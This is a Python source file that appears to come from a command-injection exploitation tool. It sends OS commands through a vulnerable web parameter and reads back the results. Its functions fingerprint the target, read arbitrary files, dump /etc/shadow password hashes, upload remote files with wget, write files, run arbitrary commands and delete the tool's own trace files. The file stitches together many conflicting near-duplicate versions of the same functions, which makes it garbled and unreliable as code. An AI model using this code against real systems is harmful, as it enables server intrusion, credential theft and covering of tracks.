def system_information(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):  
  cmd = settings.RECOGNISE_OS     
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if target_os:
    if menu.options.verbose:
      print ""
    target_os = "".join(str(p) for p in target_os)
    if target_os == "Linux":
      cmd = settings.RECOGNISE_HP
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      if target_arch:
        if menu.options.verbose:
          print "" 
        target_arch = "".join(str(p) for p in target_arch)
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
        sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
       # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("    (!) The target operating system is " + target_os)
        output_file.write(" and the hardware platform is " + target_arch + ".\n")
        output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os + ".\n")
      output_file.close()

def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):    
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    # Evaluate injection results.
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if settings.TARGET_OS != "win":
      cmd = settings.DISTRO_INFO
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
          response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
        distro_name = "".join(str(p) for p in distro_name)
        if len(distro_name) != 0:
          target_os = target_os + " (" + distro_name + ")"
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
      else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
      # Command execution results.
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      # Evaluate injection results.
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      # if settings.VERBOSITY_LEVEL >= 1:
      #   print ""
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  else:
    warn_msg = "Heuristics have failed to retrieve the system information."
    print settings.print_warning_msg(warn_msg)

def current_user(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.CURRENT_USER = settings.WIN_CURRENT_USER
  cmd = settings.CURRENT_USER
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    cu_account = "".join(str(p) for p in cu_account)
    session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
  else:
    cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if cu_account:
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
      else:  
        cmd = settings.IS_ROOT       
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
      else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account)
      output_file.close()
      if shell:
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()

def file_upload(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err_msg:
      warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      success_msg = "The " +  shell
      success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" 
      sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
      sys.stdout.flush()
    else:
      warn_msg = "It seems that you don't have permissions to "
      warn_msg += "write the '" + dest_to_upload + "' file."  
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()

def powershell_version(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False

def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    # if settings.VERBOSITY_LEVEL >= 1:
    #   print ""
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def delete_previous_shell(
    separator,
    payload,
    TAG,
    prefix,
    suffix,
    http_request_method,
    url,
    vuln_parameter,
    OUTPUT_TEXTFILE,
    alter_shell,
    filename,
):
    cmd = "rm " + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
    response = fb_injector.injection(
        separator,
        payload,
        TAG,
        cmd,
        prefix,
        suffix,
        http_request_method,
        url,
        vuln_parameter,
        OUTPUT_TEXTFILE,
        alter_shell,
        filename,
    )

def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + " " + separator + settings.WIN_COMMENT
  else: 
    settings.SRV_ROOT_DIR = ""
    cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

def file_read(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if menu.options.verbose:
    print "",
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
  else:  
    cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + " "
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.VERBOSITY_LEVEL >= 1:
    print "",
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
  else:
    settings.SRV_ROOT_DIR = ""
    cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if menu.options.verbose:
    info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file..."
    sys.stdout.write("\n" + settings.print_info_msg(info_msg))
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
  else:  
    cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file...\n"
    sys.stdout.write(settings.print_info_msg(info_msg))
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
  else:
    settings.WEB_ROOT = ""
    cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

def current_user(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  cmd = settings.CURRENT_USER
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root:
      cmd = settings.ISROOT
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      if shell:
        shell = "".join(str(p) for p in shell)
        if menu.options.verbose:
          print ""
        sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
        # Add infos to logs file.    
        output_file = open(filename, "a")
        output_file.write("    (!) The current user is " + cu_account)
        output_file.close()
        if shell != "0":
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.   
            output_file = open(filename, "a")
            output_file.write(" and it is not privilleged.\n")
            output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privilleged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()

def system_passwords(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):    
  if settings.TARGET_OS == "win":
    # Not yet implemented!
    pass 
  else:
    cmd = settings.SYS_PASSES            
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      sys_passes = "".join(str(p) for p in sys_passes)
      session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
    else:
      sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if sys_passes == "":
      sys_passes = " "
      if menu.options.verbose:
        print ""
      sys.stdout.write(settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
      sys.stdout.flush()
      sys_passes = "".join(str(p) for p in sys_passes)
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("\n    (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            fields = line.split(":")
            if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
              print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
              # Add infos to logs file.   
              output_file = open(filename, "a")
              output_file.write("      (" +str(count)+ ") " + fields[0] + " : " + fields[1])
              output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL

def file_write(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL + "\n")
    sys.stdout.flush()
    
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest

  # Execute command
  cmd = "echo $(" + settings.FILE_WRITE + " '"+ content + "'" + " > " + "'" + dest_to_write + "'" + ")"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  shell = "".join(str(p) for p in shell)
  
  # Check if file exists!
  cmd = "echo $(ls " + dest_to_write + ")"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  shell = "".join(str(p) for p in shell)
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The '" + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +"' file was created successfully!" + Style.RESET_ALL + "\n")
    sys.stdout.flush()
  else:
   sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if shell:
    if menu.options.verbose:
      print ""
    shell = " ".join(str(p) for p in shell)
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL 
    else:
      print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
  sys.exit(0)

def system_information(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):    
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()

def system_information(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):    
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS        
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      target_arch = "".join(str(p) for p in target_arch)
